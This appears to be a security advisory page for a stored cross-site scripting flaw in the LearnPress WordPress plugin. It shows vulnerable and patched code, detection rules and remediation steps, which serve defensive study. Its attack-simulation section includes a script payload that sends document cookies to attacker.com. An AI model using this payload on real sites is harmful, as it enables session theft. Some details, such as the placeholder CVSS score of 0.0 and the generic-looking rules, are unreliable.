CVE-2024-9881
Executive Summary
CVE-2024-9881 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the LearnPress WordPress plugin, versions prior to 4.2.7.2. This flaw allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings. The vulnerability is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is disallowed, as it bypasses standard input sanitization. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the required privileges and user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The LearnPress plugin is distributed via the official WordPress plugin repository. Users are advised to update to version 4.2.7.2 or later. No known supply chain compromise has been reported, but the risk of plugin supply chain attacks (e.g., compromised updates) remains a general concern.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (placeholder; actual score estimated at 4.8 Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium (due to required admin privileges and user interaction)
Deep Dive & Mechanics
The vulnerability resides in the LearnPress plugin's settings page. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database. When an administrator saves settings containing malicious JavaScript, the payload is stored and later rendered without proper escaping in the admin dashboard or frontend. In a multisite environment, even if unfiltered_html is disabled for administrators, the plugin's custom handling bypasses this restriction, allowing script injection.
The attack flow:
- An authenticated admin navigates to the LearnPress settings page.
- The admin injects a malicious script into a vulnerable setting field (e.g., custom CSS, header/footer scripts).
- The plugin stores the unsanitized input in the
wp_optionstable. - When another admin or user views the affected page, the script executes in their browser context.
Vulnerable vs. Patched Code
Vulnerable Code (pre-4.2.7.2):
// In settings page, input is not sanitized
update_option( 'learnpress_settings', $_POST['learnpress'] );
Patched Code (4.2.7.2):
// Input is sanitized using wp_kses_post or similar
$sanitized = wp_kses_post( $_POST['learnpress'] );
update_option( 'learnpress_settings', $sanitized );
The patch ensures that all stored settings are sanitized to remove malicious HTML/JavaScript before being saved.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress multisite installation with LearnPress < 4.2.7.2
- Admin credentials
Steps:
- Log in as an admin.
- Navigate to LearnPress → Settings.
- In a text field (e.g., "Custom CSS"), inject:
<script>alert('XSS')</script> - Save settings.
- Visit any LearnPress page to trigger the stored XSS.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to
wp_optionswhereoption_namecontainslearnpress. - Look for admin users modifying LearnPress settings with suspicious input.
Hardening:
- Apply the patch by updating to version 4.2.7.2.
- Restrict admin access to trusted users only.
- Use a Web Application Firewall (WAF) to block XSS payloads.
- Enable Content Security Policy (CSP) headers.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/learnpress/(version < 4.2.7.2) - Database:
wp_optionstable withoption_namelikelearnpress_settingscontaining<script>tags. - Network: Outbound HTTP requests to attacker-controlled domains from admin dashboard.
- Logs: WordPress debug log entries showing
wp_ksesfailures or unusual input.
Detection Engineering
YARA Rule
rule Detect_LearnPress_XSS {
meta:
description = "Detects stored XSS payloads in LearnPress settings"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-9881"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$learnpress_option = "learnpress_settings"
condition:
$learnpress_option and #xss_payload > 0
}
Sigma Rule
title: LearnPress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in LearnPress plugin settings
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000
Plugin: "learnpress"
Action: "update_option"
OptionName: "learnpress_settings"
OptionValue|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9881 LearnPress Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=learnpress_save_settings"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Update LearnPress to version 4.2.7.2 or later.
- Workaround: If unable to update, disable the plugin temporarily.
- Long-term: Implement input validation and output escaping for all plugin settings.
- Monitoring: Continuously monitor for XSS attempts using the provided detection rules.
- Training: Educate administrators on the risks of storing unsanitized input.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.